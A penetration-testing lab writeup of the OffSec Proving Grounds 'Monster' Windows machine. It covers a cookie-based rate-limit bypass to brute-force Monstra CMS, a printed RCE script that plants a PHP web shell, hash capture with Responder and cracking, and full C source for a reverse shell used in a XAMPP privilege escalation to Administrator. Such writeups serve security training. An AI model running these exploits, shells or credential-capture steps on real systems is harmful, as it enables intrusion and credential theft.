OffSec Proving Grounds Monster Writeup
Windows Proving Grounds box. A cookie based rate limit bypass (CVE-2018-11678) brute forces Monstra CMS, then XAMPP CVE-2020-11107 escalates to Administrator.
Summary
Monster is a Windows Proving Grounds box whose home page names Mike Wazowski, and directory fuzzing turns up a /blog running Monstra CMS 3.0.4 on the monster.pg vhost. The CMS lists its users at /blog/users, giving admin and mike, and although the login form bans you after five attempts, that counter lives in an attacker controlled cookie (CVE-2018-11678), so pinning login_attempts to 1 makes brute forcing possible again; a cewl wordlist built from the site finds the admin password wazowski. A public Monstra 3.0.4 RCE exploit writes a PHP chunk into the default theme, giving command execution as mike, and a base64 PowerShell payload turns that into a reverse shell. Pointing that shell at a UNC path on the attacker host makes it authenticate to Responder, which captures mike’s hash, and hashcat cracks it to Mike14, good for RDP. Finally XAMPP 7.3.10-1 is vulnerable to CVE-2020-11107: rewriting the editor path in xampp-control.ini to a compiled reverse shell gets it executed as Administrator.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# Nmap 7.98 scan initiated Tue Jan 27 16:34:31 2026 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 1500 192.168.150.180
Nmap scan report for monster.pg (192.168.150.180)
Host is up, received echo-reply ttl 125 (0.17s latency).
Scanned at 2026-01-27 16:34:31 -03 for 254s
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 125 Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-title: Mike Wazowski
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
135/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 125 Microsoft Windows netbios-ssn
443/tcp open ssl/http syn-ack ttl 125 Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
| MD5: a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
| SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
| SHA-256: 0169 7338 0c0f 1df0 0bd9 593e d8d5 efa3 706c d6df 7993 f614 1272 b805 22ac dd23
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-title: Mike Wazowski
445/tcp open microsoft-ds? syn-ack ttl 125
3389/tcp open ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services
|_ssl-date: 2026-01-27T19:38:44+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Mike-PC
| Issuer: commonName=Mike-PC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-26T18:16:14
| Not valid after: 2026-07-28T18:16:14
| MD5: 66b0 28b8 40ac 4474 8209 a1f2 a9c0 1f64
| SHA-1: 20ea dda5 d187 60a9 f5f5 55da 5979 4ed5 3973 f2c3
| SHA-256: 6104 18ef 93f6 0154 30fc 57f3 ff41 f784 ad27 6383 6da2 7d01 7a56 1119 0d98 fbaf
| -----BEGIN CERTIFICATE-----
| MIIC0jCCAbqgAwIBAgIQdviQztTVmJpNhafwV8K3MTANBgkqhkiG9w0BAQsFADAS
| MRAwDgYDVQQDEwdNaWtlLVBDMB4XDTI2MDEyNjE4MTYxNFoXDTI2MDcyODE4MTYx
| NFowEjEQMA4GA1UEAxMHTWlrZS1QQzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
| AQoCggEBANoR2XeEfRKKyLoLOV5rNspphqLXsWAEJlhbRK29bwl4JFEtfHrI4FXW
| jX/vUXTHh8AkaC90z5eF6KxXgZa9bUr/9p49kOd4O5Le9ptgBG3UYRLbSR8VPYEA
| XNG+RkE/AAvmapt6axsJ4STs9GHS/Ium9vlnYD6iPP5656EpoBtZ724caJgMtTXb
| vFS9qXYzJgA8r9necqv02oCeiyY/Y3Jwt6kcB3b383Vq43LKDZL4Pi7l5cZGduv/
| gkI3oW6QrVPqfLBgW7WVmtnFCD2jCpC5+32fKNAOTh21eDvgNA9oi7W2kFozNu/b
| Kdi7IJzjvILwBDhohplylrje/WKmStkCAwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYB
| BQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqGSIb3DQEBCwUAA4IBAQBJx5gsYJf5+fll
| BxFUe8Tieg4kJPXUsOX0ZvqqoLU9NAT+9cAfV7ZmsT5nY9crAUV/fYLtt7DOaw5m
| 0rDDKgE6XSqFj/EJqetu8DUKycEH3H//PXQzbc/Yt/PnuQqqwvPyLpt/LW1m6y8C
| b9B4Jbfw5sKyiAIp1kd59lf5dffag0alkIDKb9LvwG5fwbtvCpSPfmZAPAj5cKkJ
| 6TLvrFrKs0LFwMvH9U003Xj8EvLGEvfrXw5/aRojgVqr4NGXLPBgCgUyZOr5CUcu
| ifEMHmn8JMSRB2uIA9hV1a+cSY1KqLmY2Q9uGs4iQ+TdKYsLJ0SB9/Hgk+7FrkXh
| HER7EHX/
|_-----END CERTIFICATE-----
| rdp-ntlm-info:
| Target_Name: MIKE-PC
| NetBIOS_Domain_Name: MIKE-PC
| NetBIOS_Computer_Name: MIKE-PC
| DNS_Domain_Name: Mike-PC
| DNS_Computer_Name: Mike-PC
| Product_Version: 10.0.19041
|_ System_Time: 2026-01-27T19:38:29+00:00
5040/tcp open unknown syn-ack ttl 125
49664/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
Web Server Enumeration
This is how the web server’s home page looks like:
It contains a name:
1
Mike Wazowski
Which is probably the name of the person who owns this website. I take note of this because this can be a valid username in the system.
Blog Enumeration
I run:
1
ffuf -u http://192.168.150.180/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -e .php -fc 403 -o scans/ffuf.log -of html
To enumerate directories and find /blog. When I access it though, the page seems completely broken. I access the Network tab in devtools and see it’s trying to fetch data from “monster.pg”, a VHost we discovered just now. I edit my /etc/hosts file:
1
echo 192.168.150.180 monster.pg | sudo tee -a /etc/hosts
And now I can access the blog just fine:
The blog says:
1
Welcome to your new Monstra powered website.
And the footer also tells me its exact software version:
1
Powered by Monstra 3.0.4
I can head to http://monster.pg/blog/users to view users in the website! Users include:
If I click on a user I can view more information about it, at http://monster.pg/blog/users/1 and http://monster.pg/blog/users/2.
With that, confirmed a two users:
1
2
3
4
5
Username: admin
Email: wazowski@monster.pg
Username: mike
Email: mike@monster.pg
Create “users.txt”:
1
2
admin
mike
I tried logging in a few times but ended up getting banned for 10 minutes:
This means we are not gonna be able to brute-force passwords here. Or are we?
Admin Login: Monstra CMS - 3.0.4 Login Rate Limiting Bypass (CVE-2018-11678)
Very silly mistake. They are trying to protect the login form from brute forcing attacks, but are doing so by checking a cookie value. Not a session cookie, just a normal cookie which the user can edit and tamper with.
1
2
3
if (Cookie::get('login_attempts') && Cookie::get('login_attempts') >= 5) {
Notification::setNow('error', __('You are banned for 10 minutes. Try again later', 'users'));
}
If we give the server login_attempts cookie equals to 1, we will never be rate limited. To proceed with bruteforcing, I create some custom wordlists, starting with the monster blog:
1
cewl http://monster.pg/blog -w cewl-monster.list
And the main website too:
1
cewl http://192.168.150.127:33033/ -w cewl.list
Then combine both wordlists into a bigger one:
1
cat cewl.list cewl-monster.list > cewl-full.txt
I use the following ffuf command to perform a bruteforce against the login form for the “admin” user:
1
ffuf --data 'csrf=f61812f3f80a64e806064594b4d21ae4af4031b7&username=admin&password=FUZZ&login_submit=Log+In' -H 'Content-Type: application/x-www-form-urlencoded' -b 'PHPSESSID=fvn8imn4shtprinoavn42nsdv7' -b 'login_attempts=i%3A1%3B' -u http://monster.pg/blog/users/login -w cewl-full.txt
Note that “csrf” and PHPSESSID **values must be updated according to your current environment. As you can see from the screenshot below, the responses stop being 200 OK and start being 302 Redirect the moment we try the word “wazowski**”.
This means we probably nailed the password, the website authenticated our PHP session cookie and is now, instead of letting an authenticated user (us) try perform a login (that would not make sense), directing us to some kind of dashboard.
New credentials:
1
2
Username: admin
Password: wazowski
This allows me to log in to the CMS as admin.
Initial Access: Monstra CMS 3.0.4 - Remote Code Execution (RCE)
I use a public proof of concept script to obtain remote code execution on the machine. This exploit was borked though, some lines were broken and some identation too. I had to make a few adjustments to it in order for it to run:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (RCE)
# Date: 05.05.2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: MacOS
import requests
import random
import string
import time
import re
import sys
if len(sys.argv) < 4:
print("Usage: python3 script.py <url> <username> <password>")
sys.exit(1)
base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
session = requests.Session()
login_url = f'{base_url}/admin/index.php?id=dashboard'
login_data = {
'login': username,
'password': password,
'login_submit': 'Log+In'
}
filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=
5))
print("Logging in...")
response = session.post(login_url, data=login_data)
if 'Dashboard' in response.text:
print("Login successful")
else:
print("Login failed")
exit()
time.sleep(3)
edit_url = f'{base_url}/admin/index.php?id=themes&action=add_chunk'
response = session.get(edit_url)
token_search = re.search(r'input type="hidden" id="csrf" name="csrf" value="(.*?)"', response.text)
if token_search:
token = token_search.group(1)
else:
print("CSRF token could not be found.")
exit()
content = '''
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
'''
edit_data = {
'csrf': token,
'name': filename,
'content': content,
'add_file': 'Save'
}
print("Preparing shell...")
response = session.post(edit_url, data=edit_data)
time.sleep(3)
if response.status_code == 200:
print(f"Your shell is ready: {base_url}/public/themes/default/{filename}.chunk.php")
else:
print("Failed to prepare shell.")
I run it like so, providing the credentials for “admin”:
1
2
3
4
5
$ python3 exp.py http://monster.pg/blog/ admin wazowski
Logging in...
Login successful
Preparing shell...
Your shell is ready: http://monster.pg/blog//public/themes/default/kgvx4.chunk.php
It works! I access the uploaded shell at:
1
http://monster.pg/blog//public/themes/default/kgvx4.chunk.php
And as you can see from the screenshot below, I have remote code execution in the victim as “mike” user:
I used powershell base64 encoded payload from revshells.com to obtain a reverse shell in the machine.
Lateral Movement: RDP to the machine as Mike
Prepared Responder:
1
python3 Responder.py -I tun0
Using my shell in the system as “mike”, I query my responder server to try and capture mike’s hash:
1
PS C:\> dir //192.168.45.246/share
It works, as you can see from the screenshot below:
I save this hash to a file named “mike.hash” and run hashcat against it:
1
hashcat mike.hash /usr/share/wordlists/rockyou.txt --force
With that, new credentials:
1
2
Username: mike
Password: Mike14
And this allows me to connect to the machine via RDP:
1
xfreerdp /v:monster.pg /u:mike /p:Mike14
Vertical Privilege Escalation: XAMPP
I can visualize XAMPP’s version (7.3.10-1) by reading C:\xampp\properties.ini:
1
2
3
4
5
6
7
8
PS C:\windows\tasks> type C:\xampp\properties.ini
[General]
installdir=C:\xampp
base_stack_name=XAMPP
base_stack_key=
base_stack_version=7.3.10-1
base_stack_platform=windows-x64
<SNIP>
This version is affected by CVE-2020-11107. I first create my own reverse shell C code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// x86_64-w64-mingw32-gcc revshell.c -o revshell.exe -lws2_32 -s
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
int main() {
WSADATA wsaData;
SOCKET s;
struct sockaddr_in sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSAStartup(MAKEWORD(2,2), &wsaData);
s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr("192.168.45.246"); // tun0 ip
sa.sin_port = htons(53); // port
if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
closesocket(s);
WSACleanup();
return 0;
}
Compile it:
1
x86_64-w64-mingw32-gcc revshell.c -o revshell.exe -lws2_32 -s
Transfer it to the machine to C:\windows\tasks\app.exe. On the victim machine, I execute the following commands:
1
2
3
4
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\windows\tasks\app.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file
After a few minutes, I get a reverse shell as Administrator, as you can see from the screenshot below:
References
https://github.com/S1lkys/CVE-2020-11107
https://abdilahrf.github.io/cve/login-rate-limiting-bypass







